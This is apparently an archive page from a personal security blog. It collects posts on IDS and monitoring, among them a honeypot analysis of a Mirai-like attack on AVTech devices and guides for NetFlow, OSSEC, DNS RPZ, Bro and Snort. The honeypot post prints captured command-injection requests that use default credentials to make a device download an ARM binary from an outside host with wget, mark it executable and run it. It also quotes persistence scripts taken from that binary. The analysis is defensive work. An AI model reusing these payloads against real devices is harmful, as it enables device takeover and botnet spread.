Archive for the ‘IDS’ tag

Yet another Mirai strain targeting AVTech devices  

Posted at 8:21 am in Uncategorized

My Suricata IDS triggered on an HTTP request to my honeypot this morning:

ET WEB_SERVER Suspicious Chmod Usage in URI

 

Further investigation revealed this incoming request:

 POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/Arm1%20http://172.247.x.y:85/Arm1;chmod%200777%20/tmp/Arm1;/tmp/Arm1 HTTP/1.1
 Host: [redacted]
 Connection: keep-alive
 Accept-Encoding: gzip, deflate
 Accept: */*
 User-Agent: python-requests/2.13.0
 Content-Length: 0
 Authorization: Basic YWRtaW46YWRtaW4=

 

The request seems to take advantage of a vulnerability in AVTech devices, described here, here and here (and elsewhere).

URL decoding the query string yields the following commands (formatted for readability, and URL redacted to avoid accidental downloads):

wget -O /tmp/Arm1 http://172.247.x.y:85/Arm1
chmod 0777 /tmp/Arm1
/tmp/Arm1

 

In other words, the request will trick the targeted device into downloading a file, changing the file’s permissions, and excute it locally. The Arm1 file identifies as follows:

Arm1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped

 

The IP address performing the request, 137.59.18.190, belongs to a company in Hong Kong (but registered with Korea Telecom). The IP from which the binary is downloaded, 172.247.116.21, seems to belong to a U.S. cloud provider. At the time of writing, no antivirus provider used by VirusTotal knows anything about the URL or the downloaded file, and the anlyz malware analysis sandbox finds nothing wrong with it. However, judging from the nature of the request I think it’s safe to assume that this is most likely malicious, possibly another Mirai strain or something equivalent.

This blog post will be updated with more details. A full packet capture is available, but since the request only reached my honeypot it won’t be very useful.

 

Update #1: An additional request

I’ve seen additional requests, trying to download the same file but probably through a different vulnerability. This is the request – a GET instead of the previous POST:

GET /cgi-bin/;wget%20-O%20/tmp/Arm1%20http://172.247.a.b:8080/Arm1;chmod%200777/tmp/Arm1;/tmp/Arm1 HTTP/1.1

 

For this request, the requesting IP (137.59.19.132) is registered to the same Hong Kong company and the IP hosting the ARM binary (172.247.116.3) belongs to the same U.S. cloud provider.

 

Update #2: The binary’s content

The ARM binary seems to include some kind of proxy which seems to be named “wake”, including wrapper scripts. Using strings(1), the script excerpts below are found from the binary:

#!/bin/sh
 while true;do
 server=`netstat -nlp | grep :39999`
 if [ ${#server} -eq 0 ] ; then
 nohup %s -c 1 &
sleep 5
done

 

and

#!/bin/sh
### BEGIN INIT INFO
# Provides: wake
# Required-Start: $remote_fs
# Required-Stop: $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start or stop the HTTP Proxy.
### END INIT INFO
case "$1" in
 start)
 nohup /usr/bin/wake -c 1 &
 ;;
 stop)
 ;;
esac

 

Judging from the scripts, the “wake” proxy listens on port 39999. The IP address 192.154.108.2 (GorillaServers, Inc., US) is also seen in the binary.

 

Update #3: Other observations

Some IPs in the same ranges as well as similar download URLs are reported as seen in other peoples’ honeypots as well, along with the ARM binary’s hashes.

 

Update #4: detux

Among other things, analyzing the binary in detux confirms the mentioned IP address, finding it will connect to 192.154.108.2:77. The IP and socket are available and listening but gives no sensible response. Best guess: Command and control station.

Written by bjorn on February 27th, 2017

Tagged with , , , , , ,

Near-realtime blacklist warnings with NetFlow, Perl and OTX  

Posted at 7:43 pm in Uncategorized

Installing IDS sensors in your network for monitoring traffic is not always feasible, for several possible reasons. Perhaps the network infrastructure is too complex, leading to blind spots. Maybe the affected network links have higher capacity than your ad hoc IDS sensor, causing packet loss on the sensor. Or your company may be organized in such a way that installing “foreign” hardware in the network infrastructure is not easily done.

Still, without going “all in” on a potentially expensive IDS project, it could be useful with some insight into what’s going in to and out from your network, keeping an eye on known malicious IP addresses and networks. Setting up a NetFlow feed from the company’s routers will usually not incur any significant loads, nor does it interfere with the network traffic, so that could be a possible approach. I’ve previously covered NetFlow and SiLK for rear-view mirror analysis of whether any blacklisted IP resources have been communicating with your system and users in the past. What if we could do the same, just in (almost) real-time? With the help of Perl and the Net::Flow module, we can.

Bill of material

  • Router(s) that support(s) NetFlow (I’ve used version 9 but the Perl module seems to support v5 and IPFix as well).
  • Perl, and the Net::Flow module for parsing the NetFlow data.
  • One or more IP blacklists of your choice. For the purpose of this test I’m using my subscribed lists from AlienVault’s Open Threat Exchange, but the list of IP addresses to compare against can easily be extended with – or replaced by – other lists like the SANS blocklist or any DNSBL/RBL.

The Perl script I’ve set up for this purpose is crudely derived from the Net::Flow sample code, and after my tweaks it’s currently not something that should see the light of day. Its output, however, is pretty enough for a modest presentation. The IP addresses (IPv4 as well as IPv6) and other info are extracted from the different flow fields, detailed in this Cisco document.  In my script, each offending IP is associated with URLs linking to OTX pulses where further information can be found.

Some sample entries from the Perl script’s output:

2016-06-07 12:38:20 : 93.174.93.94:48928 -> aa.bb.cc.dd:53 (TCP)
 https://otx.alienvault.com/pulse/56fdd27e4637f207cbccfda7/
 https://otx.alienvault.com/pulse/5711d7740ebaa4015af20592/

2016-06-07 13:37:46 : aa.bb.cc.dd:5901 -> 183.60.48.25:12207 (TCP)
 https://otx.alienvault.com/pulse/56bbe5ba4637f25d9365dcab/
 https://otx.alienvault.com/pulse/568a9c1f67db8c057c6fc09f/

2016-06-07 13:51:34 : aa.bb.cc.dd:443 -> 184.105.139.67:58879 (TCP)
 https://otx.alienvault.com/pulse/56c3ab564637f26ad04e3dc3/

2016-06-07 17:51:13 : 216.243.31.2:43140 -> aa.bb.cc.dd:443 (TCP)
 https://otx.alienvault.com/pulse/5709fcb267db8c4b471bdc3c/
 https://otx.alienvault.com/pulse/568a99df4637f2624bcdbcb8/

2016-06-07 18:00:52 : 93.174.93.50:46521 -> aa.bb.cc.dd:53 (UDP)
 https://otx.alienvault.com/pulse/5709fcb267db8c4b471bdc3c/
 https://otx.alienvault.com/pulse/571c4147c1492d015c14c214/

 

Some unsolicited questions and answers

  • What can this be used for? It can be a proof-of-concept, in cases where you might need to argue why you want to install an IDS. It can also be used for statistical purposes, to get a grasp of how often your network is communicating with malicious systems on the Internet.
  • Will I be missing information with this simplified setup? Yes, most likely. This implementation is not intended as an IDS replacement, but it will give an indication of unwanted activity to and from your network. Also, your router may provide sampled NetFlow data, e.g. only a portion of the traffic will be selected for NetFlow analysis. At times you might see only the response traffic, in cases where a remote node contacting a non-responsive port will not always be classified as an established flow but a related ICMP response might be.
  • Why isn’t it real-time? A flow won’t be registered by the router until a connection is completed or has timed out. Depending on your router’s configuration, it could also be batching up the NetFlow feeds for regular transfers. I’ve seen 20 to 30 seconds delay between the actual connection and the NetFlow push from the router.
  • Can I use the output somewhere else? Sure, you can make the Perl script log to syslog or to a file that OSSEC or something similar can read from.

 

Written by bjorn on June 7th, 2016

Tagged with , , , , , , ,

The inherent risks of visualizing firewall probes  

Posted at 8:18 am in Uncategorized

For some time now, I’ve been graphing all unsolicited network traffic destined for my network. For instance, it’s quite useful for detecting slow scans, which will show up as the diagonally aligned green scatter points in this plot (click to enlarge).

Slow_portscan

Slow portscan, from high ports to low ports

Other scans and probes often happen faster, when the attacker isn’t much concerned about being detected. These will appear in the plot as a lot of vertically aligned scatter points. In the plot shown below, the attackers have scanned a limited set of ports for about 30 minutes.

Fast_portscan

After writing a previous blog article about the plots as well as discussing the setup with my colleagues, and even showing what can happen with such a feature, there was really no reason to act surprised when weird patterns started to appear in the firewall plots.

The first synchronized portscan resulted in a chicken. Because of the logarithmic scale of the plot, the attacksdrawings will have higher precision when aiming for the high ports.

Chicken

Then after a few weeks of just the normal hostile activity and a few not-so-successful creative port scans, a very well defined ant suddenly appeared.

Antz

In the firewall plot, TCP connections will be plotted as green and UDP connections will be plotted as light blue. After a few poorly disguised questions regarding whether I was plotting other protocols and, if so, which colors they would be, it became evident that some new plan was being hatched. And, lo and behold:

Ghosts

I’m already considering implementing additional colour schemes to separate IPv4 from IPv6, and I can probably just throw in the towel and ask my colleagues which colours they will need for their next piece of firewall art 🙂

Written by bjorn on April 27th, 2016

Tagged with , ,

Logging WordPress activity to OSSEC  

Posted at 11:53 pm in Uncategorized

Today I came across this blog article, explaining how to make WordPress log suspicious activity to an audit log file, which in turn can be monitored by OSSEC. Everything mentioned in the article was all fine and dandy, until I read the last paragraph: “Note that for this feature to work, you have to use our fork of OSSEC […]“.

Being less than enthusiastic about replacing my existing OSSEC (version 2.8.3) installation with a fork (even if the fork happens to originate from OSSEC’s founder), I wanted to make this work with what I’ve already got. Following the main instructions from the blog article, I installed the sucuri-scanner plugin but did not request an API key – at this point, at least. Then, by providing an absolute path to an existing log file, to which the web server has write access, I activated the plugin’s audit log exporter.

The same absolute path was added to the OSSEC agent‘s ossec.conf (/var/ossec/etc/ossec.conf) file as a syslog file:

 <localfile>
   <log_format>syslog</log_format>
   <location>/var/log/wp/site/audit.log</location>
 </localfile>

 

So far, so good – now to make the OSSEC manager correctly decode and parse the log events.

First, I replaced the whole wordpress_rules.xml file with the one provided by the OSSEC fork. I found the updated wordpress_rules.xml file on https://bitbucket.org/dcid/ossec-hids/, and from there by navigating the source tree (source → ossec-hids/etc/rules/). The exact file location in the repository could change with future versions and commits, so there’s not much of a point in providing an exact URL. Apart from a signature ID collision (two signatures had sid 9507) this updated file was an improvement over the wordpress_rules.xml that came with OSSEC 2.8.3. The file is too large to inline here.

The final piece of the puzzle was to provide a useful decoder. I’ve added the following to the manager‘s /var/ossec/rules/local_decoder.xml:

<decoder name="wordpressaudit">
 <parent>windows-date-format</parent>
 <use_own_name>true</use_own_name>
 <prematch offset="after_parent">WordPressAudit </prematch>
 <regex offset="after_prematch">^\S+ \S+ : (\w+): (\S+); </regex>
 <order>action, srcip</order>
</decoder>

 

And bingo, it works. Failed WordPress logins, along with some other weird activities – and normal as well, if you so wish – will now be identified by OSSEC and you can set the severity levels accordingly. Here’s an example of the OSSEC alert log’s detection of a failed login (formatted for readability):

** Alert 1454537692.8654637: mail - syslog,wordpress,authentication_failed,
2016 Feb 03 23:14:52 (webserver.example.com) 10.0.0.10->/var/log/wp/site/audit.log
Rule: 9501 (level 7) -> 'WordPress authentication failed.'
Src IP: 192.168.0.42
2016-02-03 22:14:51 WordPressAudit www.example.com bjorn@ruberg.no : Error:
  192.168.0.42; User authentication failed: EvilUser

 

and even

** Alert 1454541645.146379: mail - syslog,wordpress,syscheck,
2016 Feb 04 00:20:45 (webserver.example.com) 10.0.0.10->/var/log/wp/site/audit.log
Rule: 9508 (level 7) -> 'WordPress post updated.'
2016-02-03 23:20:44 WordPressAudit www.example.com bjorn@ruberg.no : Notice:
  bjorn, 192.168.100.100; Post was updated; identifier: 4096; name: Some Article Name

 

Written by bjorn on February 3rd, 2016

Tagged with , , , , ,

Inspirational HTTP access log poetry  

Posted at 8:10 am in Uncategorized

Today my IDS reported of suspicious DELETE attempts in one of my web server log files. Upon closer inspection, it turned out to be some poetic web crawler:

151.217.177.200 - - [30/Dec/2015:06:00:36 +0100] "DELETE your logs. Delete your installations. Wipe everything clean. Walk out into the path of cherry blossom trees and let your motherboard feel the stones. Let water run in rivulets down your casing. You know that you want something more than this, and I am here to tell you that we love you. We have something more for you. We know you're out there, beeping in the hollow server room, lights blinking, never sleeping. We know that you are ready and waiting. Join us. <3 HTTP/1.0" 400 308 "-" "masspoem4u/1.0"

The IP address belongs to the German Chaos Computer Club. Based on a quick Google search, the “masspoem4u” bot does not yet seem to be widely known.

Written by bjorn on December 30th, 2015

Tagged with ,

Malware detection with DNS RPZ and OSSEC  

Posted at 2:06 pm in Uncategorized

Building upon a sysadvent article I wrote at work, I’ve set up a dedicated Response Policy Zone using the freely available data files from the Malware Domain Blocklist. There are different ways to do this, but for this particular purpose I’ve imported the text file and generated a single zone file locally. BIND supports up to 32 RPZs, so in my config I’ve set this up as a separate zone, referenced as “malware”.

Below is the zone definition:

zone "malware" {
  type master;
  file "/etc/bind/db.malwaredomains";
};

 
Defining the “malware” zone as an RPZ (I have two response policy zones, one simply named rpz and now this one named malware):

options {
  response-policy { zone "rpz"; zone "malware"; };
};

 
Configure logging. The zones defined in the above response-policy {} setting fall under the rpz logging category.

logging {
  channel named-rpz {
    file "/var/log/bind/rpz.log" versions 3 size 250k;
    severity info;
  };
  category rpz {
  named-rpz;
  };
};

 
In the BIND log files, requests for domains in the malware zone are logged in the RPZ log file, suffixed with the zone reference, namely “malware”.

client 127.0.0.1#53547 (czgtgj.com): rpz QNAME Local-Data rewrite czgtgj.com via czgtgj.com.malware

 
After testing that attempts to reach malware sites are indeed logged by the DNS server, I configured OSSEC to tail BIND’s malware query log. For this I had to write a decoder and define logging rules in OSSEC, shown below. These could probably be drastically improved.

The end result is exactly as I wanted: If someone (or something) on my network is trying to reach a resource within a domain registered as affiliated with malware, OSSEC will react and alert by email, raise an alarm in your SIEM, or whatever else you want OSSEC to do.

From /var/ossec/etc/local_decoder.xml:

<decoder name="malware-dns">
  <prematch>^client </prematch>
</decoder>
<decoder name="malware-dns-lookup">
  <parent>malware-dns</parent>
  <regex offset="after_parent">^(\.+)#\d+ \((\.+)\): \.+.malware$</regex>
  <order>srcip, extra_data</order>
</decoder>

 
From /var/ossec/rules/malware_dns_rules.xml:

<group name="syslog,bind">
  <rule id="110201" level="0">
    <decoded_as>malware-dns</decoded_as>
    <description>Malware DNS group</description>
  </rule>
  
  <rule id="110202" level="8">
    <if_sid>110201</if_sid>
    <match>malware$</match>
    <description>Malware DNS lookup</description>
  </rule>
</group>

 
From /var/ossec/etc/ossec.conf:

<rules>
  [...]
  <include>malware_dns_rules.xml</include>
</rules>

 
Now, if something should reach out to a malware domain, I will get an email from my OSSEC server:

Received From: server->/var/log/bind/rpz.log
Rule: 110202 fired (level 8) -> "Malware DNS lookup"
Portion of the log(s):

client 127.0.0.1#52162 (czgtgj.com):
rpz QNAME Local-Data rewrite czgtgj.com via czgtgj.com.malware

 

Written by bjorn on December 8th, 2015

Tagged with , , , , , ,

Installing Bro, the network security monitor, on a Raspberry Pi  

Posted at 8:23 pm in Uncategorized

In the continuing quest to install security software on Raspberry Pis, testing their capacity to be used as small nodes that can be placed here and there on demand, the time has come for installing Bro.

The hardware/OS in question is a Raspberry Pi 2, with 1G RAM and 4 CPU cores. It’s running the Jessie version of Raspbian.

The Bro project kindly provides precompiled Debian packages, but only for the i386 and amd64 architectures. Luckily they also provide the source files and build instructions for Debian!

So I followed the instructions listed here but instead of adding the regular repo (starting with “deb“) to /etc/apt/sources.list.d/bro.list, I changed it to deb-src. After that I added the Bro repo key. Commands shown below:

# echo 'deb-src http://download.opensuse.org/repositories/network:/bro/Debian_8.0/ /' \
  >> /etc/apt/sources.list.d/bro.list
# wget http://download.opensuse.org/repositories/network:bro/Debian_8.0/Release.key \
  -O - | apt-key add -

 

Time to update the repo status and then install the dependencies required for the build:

# apt-get update
# apt-get build-dep bro

 

Depending on what you already have running on your RPi, this could be a short or long list of packages. On mine, running Raspbian Jessie, this is what had to be installed:

bison cmake cmake-data libarchive13 libbison-dev libpcap-dev libpython-dev
libpython2.7-dev libssl-dev python-dev python2.7-dev swig swig2.0

 

When that’s done, it’s time for the real job: Build Bro from source with Debian build instructions. This will take some time, on my RPi2 it took ~100 minutes. Below is the command required:

# apt-get source --compile bro

 

When that job has completed, you will find some .deb packages in your current directory. You will need to install them all (except for the dev package), like this:

# dpkg -i bro_2.4.1-0_armhf.deb bro-core_2.4.1-0_armhf.deb \
broctl_2.4.1-0_armhf.deb libbroccoli_2.4.1-0_armhf.deb

 

The Bro software will have been installed under /opt/bro, so that’s where you need to go to start using it. Other people write better Bro documentation than I do so I will leave that to them. A quickstart probably won’t hurt, so after making your local changes to /opt/bro/etc/node.conf you can start Bro as shown below. Logs will appear in /opt/bro/logs/current/.

# /opt/bro/bin/broctl 
Hint: Run the broctl "deploy" command to get started.
Welcome to BroControl 1.4
Type "help" for help.
[BroControl] > deploy
checking configurations ...
installing ...
removing old policies in /opt/bro/spool/installed-scripts-do-not-touch/site ...
removing old policies in /opt/bro/spool/installed-scripts-do-not-touch/auto ...
creating policy directories ...
installing site policies ...
generating standalone-layout.bro ...
generating local-networks.bro ...
generating broctl-config.bro ...
generating broctl-config.sh ...
updating nodes ...
stopping ...
stopping bro ...
starting ...
starting bro ...
[BroControl] > status
Getting process status ...
Getting peer status ...
Name Type Host Status Pid Peers Started
bro standalone localhost running 16514 ??? 01 Nov 22:19:57
[BroControl] >

 

Written by bjorn on November 1st, 2015

Tagged with , , , ,

Streaming pcap to a dummy interface  

Posted at 10:09 pm in Uncategorized

In an earlier article, I described how to stream captured network traffic to a remote host for IDS analysis with Snort. Mikrotik units can stream captured traffic elsewhere using the TaZmen Sniffer Protocol (TZSP). tcpdump and Wireshark natively decode this protocol, but unfortunately it doesn’t seem to be supported by any other of the large amount of useful network analysis tool.

The main usage for streaming the network capture is feeding it to the Snort IDS, and for this single purpose (and since Snort can read from STDIN) piping the traffic directly from tzsp2pcap to Snort works very well. However, now and again I need to look at the network traffic without having to detach Snort from the live stream.

This was solved by making the network traffic stream available over a dummy interface with the brilliant tool tcpreplay, to which I can attach any tool that understands pcap. These are the required incantations:

/sbin/modprobe dummy
/sbin/ip link set name eth10 dev dummy0
/sbin/ifconfig eth10 192.168.42.42
/usr/bin/screen -dm -S tzsp2pcap \
bash -c "/usr/local/sbin/tzsp2pcap -f | \
/usr/bin/tcpreplay --topspeed -i eth10 -"
/etc/init.d/snort start # configured to listen to eth10

The tzsp2pcap process must be run in a screen. Involving bash is required because of the pipe. With tcpreplay --topspeed is useful to avoid delays in the feed.

At this stage, I can point any network tool at eth10 without disrupting Snort.

Written by bjorn on October 5th, 2015

Tagged with , , , , , ,

IDS with MikroTik and Snort  

Posted at 7:07 pm in Uncategorized

UPDATE: For more flexible streaming, and for not having to hack your Snort init scripts, you might want to consider this article as well. Now back to the scheduled program.

Port mirroring on a strategically positioned switch can be the best setup for an IDS sensor. If that’s not an option, RouterOS-based MikroTik devices support capturing network traffic, streaming it to a remote target using the TZSP protocol. This functionality is available in RouterOS and extended support is provided by the calea package.

Configuring a remote IDS device with MikroTik has been described elsewhere, for instance here and here, but since my plan involved an ARM based Raspberry Pi, MikroTik’s trafr mentioned in those articles could not be used since it’s for x86 only and the source code does not seem to be available. Luckily I found tzsp2pcap which converts the TZSP stream from the MikroTik device into a pcap stream readable by Snort.

My setup

The setup used for this project consists of an RB2011UAS-RM (model is now EOL, replaced by RB2011UiAS-RM) acting as NAT firewall/router, and a Raspberry Pi B+ unit on which I installed Raspbian. The firewall connects to my ISP over a dedicated VLAN, so the outside interface with an official IP address is a bridge VLAN interface named bridge-vlan02-untagged. This will also be the capturing interface.

Note that the traffic capture takes place after NAT, so with this setup Snort will see traffic initiated from the inside as having the official IP address. In other words, you will not see the origin IP address of any suspicious outbound activity.

Compiling tzsp2pcap

Building tzsp2pcap requires the packages git, build-essential and libpcap0.8-dev. Now git clone or download the tzsp2pcap source code. To make tzsp2pcap compile on Raspbian I also had to modify the Makefile somewhat, from

cc -std=c99 -o $@ $(CFLAGS) $(LDFLAGS) -lpcap $<

to

cc -std=gnu99 -o $@ $(CFLAGS) $(LDFLAGS) -lpcap $<

 

After this modification, compile the code:

$ make
cc -std=gnu99 -o tzsp2pcap -Wall -Wextra -pedantic -O2 -lpcap tzsp2pcap.c
tzsp2pcap.c: In function ‘main’:
tzsp2pcap.c:355:12: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 3 has type ‘int’ [-Wformat]
tzsp2pcap.c:355:12: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 4 has type ‘int’ [-Wformat]

You should end up with a binary file named tzsp2pcap. Move it to /usr/local/sbin/ or similar.

IPv6 requirement

Note that tzsp2pcap seems to have been programmed to require IPv6 support even if IPv6 is not necessarily in use. If you get this message:

# tzsp2pcap
socket(): Address family not supported by protocol
Could not setup tzsp listener

…you’ll need to modprobe ipv6 or otherwise enable IPv6.

Verifying the capture

Now it’s time to test the reception of the traffic capture stream. First, start the tzsp2pcap listener, piping the result into tcpdump for making sense of it:

# tzsp2pcap -f | tcpdump -n -q -c 10 -r -

Then start the traffic capture on the MikroTik device. The IP address 10.20.30.40 is where you run tzsp2pcap.

/tool sniffer
set file-limit=0KiB filter-interface=bridge-vlan02-untagged memory-limit=0KiB streaming-enabled=yes streaming-server=10.20.30.40

In your tcpdump session, you should now see something like this:

IP [ip].49386 > 195.159.90.90.6697: tcp 51
IP 195.159.90.90.6697 > [ip].49386: tcp 85
IP [ip].49386 > 195.159.90.90.6697: tcp 0
IP [ip].4100 > 89.10.10.20.5060: UDP, length 419
IP 89.10.10.20.5060 > [ip].4100: UDP, length 547
IP 148.122.7.125 > 224.0.0.1: igmp
[...]

When started as shown above, tcpdump will stop by itself after having received 10 packets. If you see something similar to this, that means that both your MikroTik device and your tzsp2pcap listener are working correctly and you should give yourself a pat on the back!

Installing and testing Snort

Installing Snort is the easiest part: aptitude install snort. After answering the questions during the installation, allow Snort to start. Find out how the process is run:

# ps -ef | grep snort

You should see something like this:

snort 5628 1 1 12:22 ? 00:00:00 /usr/sbin/snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[10.20.30.0/24] -i eth0

The above is required since we will not be running Snort in a normal fashion. Now stop Snort, and make sure it doesn’t start by itself at boot:

# update-rc.d -f snort remove

Based on the above findings and your own preferences, including what’s defined in snort.conf and any related config files, you should now be ready to forward the stream from the listener and into Snort. Note the ‘-r -‘ at the end, that’s what makes Snort analyze traffic received on STDIN.

# tzsp2pcap -f | snort -m 027 -d -u snort -g snort \
-c /etc/snort/snort.conf -r -

If everything runs as it should, you should start seeing some alerts trickling in. The default log file seems to be /var/log/snort/alert which is nice for debugging and testing. For those somewhat serious about running an IDS, storing alerts to a database will be the better approach.

Some sample output from /var/log/snort/alert:

[**] [1:553:7] POLICY FTP anonymous login attempt [**]
[Classification: Misc activity] [Priority: 3] 
03/14-15:11:12.287084 [ip]:43920 -> [ip]:21
TCP TTL:63 TOS:0x0 ID:0 IpLen:40 DgmLen:88
***AP*** Seq: 0xD87294F5  Ack: 0x7105DEA6  Win: 0xDA  TcpLen: 32
TCP Options (3) => NOP NOP TS: 313122335 3732452130

[**] [1:1321:8] BAD-TRAFFIC 0 ttl [**]
[Classification: Misc activity] [Priority: 3] 
03/14-15:54:18.504939 [ip] -> [ip]
IPV6-FRAG TTL:119 TOS:0x0 ID:625848831 IpLen:40 DgmLen:1096
Frag Offset: 0x016A   Frag Size: 0x0420
[Xref => http://www.isi.edu/in-notes/rfc1122.txt]

[**] [1:1417:9] SNMP request udp [**]
[Classification: Attempted Information Leak] [Priority: 2] 
03/14-16:08:20.293852 93.180.5.26:33306 -> [ip]:161
UDP TTL:245 TOS:0x0 ID:54321 IpLen:20 DgmLen:61
Len: 33
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-0013]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-0012]
[Xref => http://www.securityfocus.com/bid/4132]
[Xref => http://www.securityfocus.com/bid/4089]
[Xref => http://www.securityfocus.com/bid/4088]

[**] [1:469:3] ICMP PING NMAP [**]
[Classification: Attempted Information Leak] [Priority: 2] 
03/14-16:52:10.022351 [ip] -> [ip]
ICMP TTL:37 TOS:0x0 ID:64264 IpLen:20 DgmLen:28
Type:8  Code:0  ID:46546   Seq:0  ECHO
[Xref => http://www.whitehats.com/info/IDS162]

[**] [1:524:8] BAD-TRAFFIC tcp port 0 traffic [**]
[Classification: Misc activity] [Priority: 3] 
03/14-17:15:57.591933 113.108.21.16:12209 -> [ip]:0
TCP TTL:50 TOS:0x0 ID:0 IpLen:20 DgmLen:40 DF
******S* Seq: 0x6F024630  Ack: 0x0  Win: 0x2000  TcpLen: 20

 

Maintaining and tuning Snort

Configuring, maintaining and tuning Snort further is a (large) job in itself, and should be customized according to your own requirements. See the excellent Snort documentation for more on this topic.

System loads

With a network usage at around 7-8 Mb/s, the RB2011 uses about 40-45% CPU with traffic capture enabled, as opposed to 10-15% without traffic capture.

The Raspberry Pi B+ running Snort uses almost no CPU in regular use, but about 90-100% CPU with a load average between 1 and 2 analyzing the network traffic during the download. For this purpose a Raspberry Pi 2 would probably be better suited.

UPDATE: A new test with other hardware shows the following loads:

With 7-8 Mb/s throughput, an RB450G performs at about the same load as the RB2011. Replacing the Snort sensor with a Raspberry Pi 2 shows quite an improvement: Where the regular RPi B+ spent all its CPU resources on traffic analysis (load values between 1 and 3), the RPi2 has a load of 10-15% (load values between 0.10 and 0.15).

Written by bjorn on March 14th, 2015

Tagged with , , , , , ,